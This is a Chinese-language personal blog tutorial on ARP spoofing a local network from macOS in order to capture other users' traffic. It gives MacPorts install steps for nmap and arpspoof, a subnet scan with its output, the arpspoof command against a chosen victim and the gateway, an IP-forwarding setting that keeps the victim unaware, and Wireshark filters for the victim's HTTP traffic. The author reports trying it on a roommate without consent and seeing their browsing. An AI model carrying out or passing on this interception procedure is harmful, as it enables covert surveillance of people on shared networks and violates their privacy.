使用arp欺騙進行同一區域網內的抓包
環境
- 作業系統: MacOS 10.13.4
- 包管理工具:MacPorts 2.4.4
- arp欺騙工具:arpspoof 2.4
- 抓取區域網內的IP地址的工具:nmap 7.70
- 抓包工具:Wireshark 2.4.3
前言
本來是想了解如何搶佔頻寬的,搜到了這麼一篇文章:如何在區域網內搶頻寬,裡面提到了ARP欺騙,在網路管理課上貌似提到過ARP協議,乘機學習一下
ARP(Address Resolution Protocol,地址解析協議)是獲取實體地址的一個TCP/IP協議。傳送方用目標IP地址去換取了接收方的MAC地址,之後MAC地址存放到本地的快取中(在一定的生存期時間內)。
而ARP欺騙就是:機器A的MAC地址告訴目標機B(目標機B在任意時候都可以接收ARP請求的應答),讓目標機B 以為本機才是閘道器,這樣B接收後就會更新本地快取,以後所有本該走到閘道器去的包都會從機器A走,這樣機器A就可以獲取B的資料包了
假設C為閘道器,A為欺騙者,B為被欺騙者,之前是 B->C,而欺騙之後,B->A->C,如果A不進行資料轉發的話,那麼B就像是斷網一樣
環境搭建
先安裝MacPorts,去官網下載即可,注意看好對應的MacOS版本,
安裝完畢之後在命令列上輸入 port
進行測試
port
如果說找不到指令,則在命令列或者bash_profile或bashrc中輸入以下內容將其加入到系統路徑中來
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
之後安裝arpspoof
和nmap
sudo port selfupdate
sudo port install nmap
# 以下兩條命令二選一,arpspoof都包含在內
sudo port install dsniff-devel
sudo port install dsniff
最後如果出現提示叫你執行以下類似命令的話請無視
port select --set python python27
執行命令進行測試
nmap -v
arpspoof
Wireshark直接去官網
基本資訊獲取
需要獲取以下資料
- 本機的IP
- 閘道器的IP
- 目標機IP
執行
sudo nmap -sS 192.168.1.0/24
等一會兒會得到型別下面結果
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-07 14:49 CST
Nmap scan report for 192.168.1.1
Host is up (0.0038s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
1900/tcp open upnp
MAC Address: BC:46:99:53:17:F6 (Tp-link Technologies)
Nmap scan report for 192.168.1.100
Host is up (0.026s latency).
All 1000 scanned ports on 192.168.1.100 are closed
MAC Address: 38:A4:ED:BA:DF:C8 (Xiaomi Communications)
.....
Nmap scan report for 192.168.1.101
Host is up (0.000028s latency).
Not shown: 848 closed ports, 151 filtered ports
PORT STATE SERVICE
8090/tcp open opsmessaging
Nmap done: 256 IP addresses (9 hosts up) scanned in 125.68 seconds
第一個192.168.1.1是閘道器地址,最後一個192.168.1.101是我本機的IP,而從第二個開始就是接入本區域網的其它機器的IP,就用第一個吧
攻擊開始
arpspoof -i en0 -t 192.168.1.100 192.168.1.1
# 開啟ip轉發,否則的話對方機器會出現斷網的情況,關閉的話把1改為0
sudo sysctl -w net.inet.ip.forwarding=1
開始Wireshark開始抓包,把filter設定為 ip.addr == 192.168.1.100
如果只想抓http的話就這樣寫 ip.addr == 192.168.1.100 && http
當時比較震驚的是抓到了室友看黃圖的連結…
備註
對我的華為榮耀7進行arp欺騙時失敗了,貌似是它有防護措施,多試了幾次發現只有在其剛接入區域網的時候才能欺騙成功,但是想再次進行欺騙也沒成功,對別的IP進行欺騙時也是失敗次數多於成功的
目前https越來越流行,這意味著即使你抓到包了也不知道資料是什麼,它在tcp之上添加了一層ssl,搜了一下破解的方法也只是定向的,泛用型不好,不過這樣更安全也不錯